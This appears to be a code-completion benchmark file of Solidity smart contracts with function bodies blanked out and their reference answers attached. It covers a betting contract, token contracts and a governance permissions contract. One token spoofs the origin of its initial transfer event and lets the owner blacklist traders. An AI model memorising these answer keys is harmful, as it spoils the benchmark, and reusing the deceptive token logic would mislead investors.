refPayStation.put.value(refBonus)(ref, msg.sender); emit OnSendRef(ref, refBonus, now, msg.sender, address(refPayStation)); } uint256 taxedValue = value - value * welcomeFee / 100; prizeBalance += taxedValue; bossBalance += value * bossFee / 100; jackpotBalance += value * yjpFee / 100; ntsBalance += value * ntsFee / 100; emit OnBet(msg.sender, ref, block.timestamp, value, betPrice, extra, refBonus, value / betStep); } function withdrawWin() public { require(winBalance[msg.sender] > 0); uint256 value = winBalance[msg.sender]; winBalance[msg.sender] = 0; winBalanceTotal -= value; msg.sender.transfer(value); emit OnWithdrawWin(msg.sender, value); } /* Admin */ function payPrize(address player, uint256 value, uint8 place, uint256 betPrice, uint256 amount, uint256 betValue) onlyOwner public {<FILL_FUNCTION_BODY> } function payPostDrawRef(address ref, address player, uint256 value) onlyOwner public { require(value <= prizeBalance); prizeBalance -= value; refPayStation.put.value(value)(ref, player); emit OnSendRef(ref, value, now, player, address(refPayStation)); } function payBoss(uint256 value) onlyOwner public { require(value <= bossBalance); if (value == 0) value = bossBalance; uint256 value1 = value * 90 / 100; uint256 value2 = value * 10 / 100; if (boss1.send(value1)) { bossBalance -= value1; emit OnBossPayed(boss1, value1, now); } if (boss2.send(value2)) { bossBalance -= value2; emit OnBossPayed(boss2, value2, now); } } function payNTS() onlyOwner public { require(ntsBalance > 0); uint256 _ntsBalance = ntsBalance; neutrino.fund.value(ntsBalance)(); ntsBalance = 0; emit OnNTSCharged(_ntsBalance); } function payYearlyJackpot(address yearlyContract) onlyOwner public { require(jackpotBalance > 0); if (yearlyContract.call.value(jackpotBalance).gas(50000)()) { jackpotBalance = 0; emit OnYJPCharged(jackpotBalance); } } function correct() onlyOwner public { uint256 counted = winBalanceTotal + bossBalance + jackpotBalance + ntsBalance + prizeBalance; uint256 uncounted = address(this).balance - counted; require(uncounted > 0); bossBalance += uncounted; emit OnCorrect(uncounted); } function fundPrize() onlyOwner public { uint256 counted = winBalanceTotal + bossBalance + jackpotBalance + ntsBalance + prizeBalance; uint256 uncounted = address(this).balance - counted; require(uncounted > 0); prizeBalance += uncounted; emit OnPrizeFunded(uncounted); } function newRefPayStation(address newAddress) onlyOwner public { refPayStation = ReferralPayStation(newAddress); emit OnNewRefPayStation(newAddress, now); } }
contract BitcoinPriceBetM { event OnBet ( address indexed player, address indexed ref, uint256 indexed timestamp, uint256 value, uint256 betPrice, uint256 extra, uint256 refBonus, uint256 amount ); event OnWithdraw ( address indexed referrer, uint256 value ); event OnWithdrawWin ( address indexed player, uint256 value ); event OnPrizePayed ( address indexed player, uint256 value, uint8 place, uint256 betPrice, uint256 amount, uint256 betValue ); event OnNTSCharged ( uint256 value ); event OnYJPCharged ( uint256 value ); event OnGotMoney ( address indexed source, uint256 value ); event OnCorrect ( uint256 value ); event OnPrizeFunded ( uint256 value ); event OnSendRef ( address indexed ref, uint256 value, uint256 timestamp, address indexed player, address indexed payStation ); event OnNewRefPayStation ( address newAddress, uint256 timestamp ); event OnBossPayed ( address indexed boss, uint256 value, uint256 timestamp ); string constant public name = "BitcoinPrice.Bet Monthly"; string constant public symbol = "BPBM"; address public owner; address constant internal boss1 = 0x42cF5e102dECCf8d89E525151c5D5bbEAc54200d; address constant internal boss2 = 0x8D86E611ef0c054FdF04E1c744A8cEFc37F00F81; NeutrinoTokenStandard constant internal neutrino = NeutrinoTokenStandard(0xad0a61589f3559026F00888027beAc31A5Ac4625); ReferralPayStation public refPayStation = ReferralPayStation(0x4100dAdA0D80931008a5f7F5711FFEb60A8071BA); uint256 constant public betStep = 0.1 ether; uint256 public betStart; uint256 public betFinish; uint8 constant bossFee = 10; uint8 constant yjpFee = 2; uint8 constant refFee = 8; uint8 constant ntsFee = 5; mapping(address => uint256) public winBalance; uint256 public winBalanceTotal = 0; uint256 public bossBalance = 0; uint256 public jackpotBalance = 0; uint256 public ntsBalance = 0; uint256 public prizeBalance = 0; modifier onlyOwner { require(msg.sender == owner); _; } constructor(uint256 _betStart, uint256 _betFinish) public payable { owner = msg.sender; prizeBalance = msg.value; betStart = _betStart; // 1546290000 == 1 Jan 2019 GMT 00:00:00 betFinish = _betFinish; // 1548968400 == 31 Jan 2019 GMT 21:00:00 } function() public payable { emit OnGotMoney(msg.sender, msg.value); } function canMakeBet() public view returns (bool) { return now >= betStart && now <= betFinish; } function makeBet(uint256 betPrice, address ref) public payable { require(now >= betStart && now <= betFinish); uint256 value = (msg.value / betStep) * betStep; uint256 extra = msg.value - value; require(value > 0); jackpotBalance += extra; uint8 welcomeFee = bossFee + yjpFee + ntsFee; uint256 refBonus = 0; if (ref != 0x0) { welcomeFee += refFee; refBonus = value * refFee / 100; refPayStation.put.value(refBonus)(ref, msg.sender); emit OnSendRef(ref, refBonus, now, msg.sender, address(refPayStation)); } uint256 taxedValue = value - value * welcomeFee / 100; prizeBalance += taxedValue; bossBalance += value * bossFee / 100; jackpotBalance += value * yjpFee / 100; ntsBalance += value * ntsFee / 100; emit OnBet(msg.sender, ref, block.timestamp, value, betPrice, extra, refBonus, value / betStep); } function withdrawWin() public { require(winBalance[msg.sender] > 0); uint256 value = winBalance[msg.sender]; winBalance[msg.sender] = 0; winBalanceTotal -= value; msg.sender.transfer(value); emit OnWithdrawWin(msg.sender, value); } <FILL_FUNCTION> function payPostDrawRef(address ref, address player, uint256 value) onlyOwner public { require(value <= prizeBalance); prizeBalance -= value; refPayStation.put.value(value)(ref, player); emit OnSendRef(ref, value, now, player, address(refPayStation)); } function payBoss(uint256 value) onlyOwner public { require(value <= bossBalance); if (value == 0) value = bossBalance; uint256 value1 = value * 90 / 100; uint256 value2 = value * 10 / 100; if (boss1.send(value1)) { bossBalance -= value1; emit OnBossPayed(boss1, value1, now); } if (boss2.send(value2)) { bossBalance -= value2; emit OnBossPayed(boss2, value2, now); } } function payNTS() onlyOwner public { require(ntsBalance > 0); uint256 _ntsBalance = ntsBalance; neutrino.fund.value(ntsBalance)(); ntsBalance = 0; emit OnNTSCharged(_ntsBalance); } function payYearlyJackpot(address yearlyContract) onlyOwner public { require(jackpotBalance > 0); if (yearlyContract.call.value(jackpotBalance).gas(50000)()) { jackpotBalance = 0; emit OnYJPCharged(jackpotBalance); } } function correct() onlyOwner public { uint256 counted = winBalanceTotal + bossBalance + jackpotBalance + ntsBalance + prizeBalance; uint256 uncounted = address(this).balance - counted; require(uncounted > 0); bossBalance += uncounted; emit OnCorrect(uncounted); } function fundPrize() onlyOwner public { uint256 counted = winBalanceTotal + bossBalance + jackpotBalance + ntsBalance + prizeBalance; uint256 uncounted = address(this).balance - counted; require(uncounted > 0); prizeBalance += uncounted; emit OnPrizeFunded(uncounted); } function newRefPayStation(address newAddress) onlyOwner public { refPayStation = ReferralPayStation(newAddress); emit OnNewRefPayStation(newAddress, now); } }
require(value <= prizeBalance); winBalance[player] += value; winBalanceTotal += value; prizeBalance -= value; emit OnPrizePayed(player, value, place, betPrice, amount, betValue);
function payPrize(address player, uint256 value, uint8 place, uint256 betPrice, uint256 amount, uint256 betValue) onlyOwner public
/* Admin */ function payPrize(address player, uint256 value, uint8 place, uint256 betPrice, uint256 amount, uint256 betValue) onlyOwner public
37542
Rebasable
transferRebasership
contract Rebasable is Ownable { address private _rebaser; event TransferredRebasership(address indexed previousRebaser, address indexed newRebaser); constructor() internal { address msgSender = _msgSender(); _rebaser = msgSender; emit TransferredRebasership(address(0), msgSender); } function Rebaser() public view returns(address) { return _rebaser; } modifier onlyRebaser() { require(_rebaser == _msgSender(), "caller is not rebaser"); _; } function transferRebasership(address newRebaser) public virtual onlyOwner {<FILL_FUNCTION_BODY> } }
contract Rebasable is Ownable { address private _rebaser; event TransferredRebasership(address indexed previousRebaser, address indexed newRebaser); constructor() internal { address msgSender = _msgSender(); _rebaser = msgSender; emit TransferredRebasership(address(0), msgSender); } function Rebaser() public view returns(address) { return _rebaser; } modifier onlyRebaser() { require(_rebaser == _msgSender(), "caller is not rebaser"); _; } <FILL_FUNCTION> }
require(newRebaser != address(0), "new rebaser is address zero"); emit TransferredRebasership(_rebaser, newRebaser); _rebaser = newRebaser;
function transferRebasership(address newRebaser) public virtual onlyOwner
function transferRebasership(address newRebaser) public virtual onlyOwner
38945
CHToken
transferFrom
contract CHToken is ERC20, ERC20Pausable, CoinFactory, Blacklist { string public name; string public symbol; uint8 public decimals; uint256 private _totalSupply; constructor (string memory _name, string memory _symbol, uint8 _decimals) public { _totalSupply = 0; name = _name; symbol = _symbol; decimals = _decimals; } function transfer(address to, uint256 value) public whenNotPaused returns (bool) { require(!isBlacklist(msg.sender), "CHToken: caller in blacklist can't transfer"); require(!isBlacklist(to), "CHToken: not allow to transfer to recipient address in blacklist"); return super.transfer(to, value); } function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) {<FILL_FUNCTION_BODY> } }
contract CHToken is ERC20, ERC20Pausable, CoinFactory, Blacklist { string public name; string public symbol; uint8 public decimals; uint256 private _totalSupply; constructor (string memory _name, string memory _symbol, uint8 _decimals) public { _totalSupply = 0; name = _name; symbol = _symbol; decimals = _decimals; } function transfer(address to, uint256 value) public whenNotPaused returns (bool) { require(!isBlacklist(msg.sender), "CHToken: caller in blacklist can't transfer"); require(!isBlacklist(to), "CHToken: not allow to transfer to recipient address in blacklist"); return super.transfer(to, value); } <FILL_FUNCTION> }
require(!isBlacklist(msg.sender), "CHToken: caller in blacklist can't transferFrom"); require(!isBlacklist(from), "CHToken: from in blacklist can't transfer"); require(!isBlacklist(to), "CHToken: not allow to transfer to recipient address in blacklist"); return super.transferFrom(from, to, value);
function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool)
function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool)
43840
HanaFinancialGroup
swapTokensForEth
contract HanaFinancialGroup is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Hana Financial Group"; string private constant _symbol = "HFG"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x9240827A74B8fFB177B9a3C2f80Dcbf974Cf2DF2); _feeAddrWallet2 = payable(0x9240827A74B8fFB177B9a3C2f80Dcbf974Cf2DF2); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0x908c0b25c33b31f26e541E2c1a6a2dd8b5988c54), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 2; _feeAddr2 = 8; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 2; _feeAddr2 = 10; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {<FILL_FUNCTION_BODY> } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 50000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
contract HanaFinancialGroup is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Hana Financial Group"; string private constant _symbol = "HFG"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x9240827A74B8fFB177B9a3C2f80Dcbf974Cf2DF2); _feeAddrWallet2 = payable(0x9240827A74B8fFB177B9a3C2f80Dcbf974Cf2DF2); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0x908c0b25c33b31f26e541E2c1a6a2dd8b5988c54), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 2; _feeAddr2 = 8; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 2; _feeAddr2 = 10; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } <FILL_FUNCTION> function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 50000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp );
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap
91922
AllowanceSetter
approveAddress
contract AllowanceSetter { uint256 constant MAX_UINT = 2**256 - 1; /// @notice A function which allows the caller to approve the max amount of any given token /// @dev In order to function correctly, token allowances should not be set anywhere else in /// the inheriting contract /// @param addressToApprove the address which we want to approve to transfer the token /// @param token the token address which we want to call approve on function approveAddress(address addressToApprove, address token) internal {<FILL_FUNCTION_BODY> } }
contract AllowanceSetter { uint256 constant MAX_UINT = 2**256 - 1; <FILL_FUNCTION> }
if(ERC20(token).allowance(address(this), addressToApprove) == 0) { require(ERC20SafeTransfer.safeApprove(token, addressToApprove, MAX_UINT)); }
function approveAddress(address addressToApprove, address token) internal
/// @notice A function which allows the caller to approve the max amount of any given token /// @dev In order to function correctly, token allowances should not be set anywhere else in /// the inheriting contract /// @param addressToApprove the address which we want to approve to transfer the token /// @param token the token address which we want to call approve on function approveAddress(address addressToApprove, address token) internal
66296
RAYO
null
contract RAYO is ERC20, ERC20Detailed { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; address public _owner; constructor () ERC20Detailed("RayoCoin", "RAYO", 18) {<FILL_FUNCTION_BODY> } }
contract RAYO is ERC20, ERC20Detailed { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; address public _owner; <FILL_FUNCTION> }
_owner = msg.sender; _totalSupply = 18000000 *(10**uint256(18)); _balances[_owner] = _totalSupply;
constructor () ERC20Detailed("RayoCoin", "RAYO", 18)
constructor () ERC20Detailed("RayoCoin", "RAYO", 18)
92264
GebPrintingPermissions
startUncoverSystem
contract GebPrintingPermissions { // --- Auth --- mapping (address => uint) public authorizedAccounts; /** * @notice Add auth to an account * @param account Account to add auth to */ function addAuthorization(address account) external isAuthorized { authorizedAccounts[account] = 1; emit AddAuthorization(account); } /** * @notice Remove auth from an account * @param account Account to remove auth from */ function removeAuthorization(address account) external isAuthorized { authorizedAccounts[account] = 0; emit RemoveAuthorization(account); } /** * @notice Checks whether msg.sender can call an authed function **/ modifier isAuthorized { require(authorizedAccounts[msg.sender] == 1, "GebPrintingPermissions/account-not-authorized"); _; } // --- Structs --- struct SystemRights { // Whether this system is covered or not bool covered; // Timestamp after which this system cannot have its printing rights taken away uint256 revokeRightsDeadline; // Timestamp after which the uncover process can end uint256 uncoverCooldownEnd; // Timestamp until which the added rights can be taken without waiting until uncoverCooldownEnd uint256 withdrawAddedRightsDeadline; // The previous address of the debt auction house address previousDebtAuctionHouse; // The current address of the debt auction house address currentDebtAuctionHouse; } // Mapping of all the allowed systems mapping(address => SystemRights) public allowedSystems; // Whether an auction house is already used or not mapping(address => uint256) public usedAuctionHouses; // Minimum amount of time that we need to wait until a system can have unlimited printing rights uint256 public unrevokableRightsCooldown; // Amount of time that needs to pass until the uncover period can end uint256 public denyRightsCooldown; // Amount of time during which rights can be withdrawn without waiting for denyRightsCooldown seconds uint256 public addRightsCooldown; // Amount of systems covered uint256 public coveredSystems; ProtocolTokenAuthorityLike public protocolTokenAuthority; bytes32 public constant AUCTION_HOUSE_TYPE = bytes32("DEBT"); // --- Events --- event AddAuthorization(address account); event RemoveAuthorization(address account); event ModifyParameters(bytes32 parameter, uint data); event GiveUpAuthorityRoot(); event GiveUpAuthorityOwnership(); event RevokeDebtAuctionHouses(address accountingEngine, address currentHouse, address previousHouse); event CoverSystem(address accountingEngine, address debtAuctionHouse, uint256 coveredSystems, uint256 withdrawAddedRightsDeadline); event StartUncoverSystem(address accountingEngine, address debtAuctionHouse, uint256 coveredSystems, uint256 revokeRightsDeadline, uint256 uncoverCooldownEnd, uint256 withdrawAddedRightsDeadline); event AbandonUncoverSystem(address accountingEngine); event EndUncoverSystem(address accountingEngine, address currentHouse, address previousHouse); event UpdateCurrentDebtAuctionHouse(address accountingEngine, address currentHouse, address previousHouse); event RemovePreviousDebtAuctionHouse(address accountingEngine, address currentHouse, address previousHouse); event ProposeIndefinitePrintingPermissions(address accountingEngine, uint256 freezeDelay); constructor(address protocolTokenAuthority_) public { authorizedAccounts[msg.sender] = 1; protocolTokenAuthority = ProtocolTokenAuthorityLike(protocolTokenAuthority_); emit AddAuthorization(msg.sender); } // --- Math --- function addition(uint x, uint y) internal pure returns (uint z) { z = x + y; require(z >= x); } function subtract(uint x, uint y) internal pure returns (uint z) { require((z = x - y) <= x); } // --- General Utils --- function either(bool x, bool y) internal pure returns (bool z) { assembly{ z := or(x, y)} } function both(bool x, bool y) internal pure returns (bool z) { assembly{ z := and(x, y)} } // --- Administration --- /** * @notice Modify general uint params * @param parameter The name of the parameter modified * @param data New value for the parameter */ function modifyParameters(bytes32 parameter, uint data) external isAuthorized { if (parameter == "unrevokableRightsCooldown") unrevokableRightsCooldown = data; else if (parameter == "denyRightsCooldown") denyRightsCooldown = data; else if (parameter == "addRightsCooldown") addRightsCooldown = data; else revert("GebPrintingPermissions/modify-unrecognized-param"); emit ModifyParameters(parameter, data); } // --- Token Authority Ownership --- /** * @notice Give up being a root inside the protocol token authority */ function giveUpAuthorityRoot() external isAuthorized { require(protocolTokenAuthority.root() == address(this), "GebPrintingPermissions/not-root"); protocolTokenAuthority.setRoot(address(0)); emit GiveUpAuthorityRoot(); } /** * @notice Give up being the owner inside the protocol token authority */ function giveUpAuthorityOwnership() external isAuthorized { require( either( protocolTokenAuthority.root() == address(this), protocolTokenAuthority.owner() == address(this) ), "GebPrintingPermissions/not-root-or-owner" 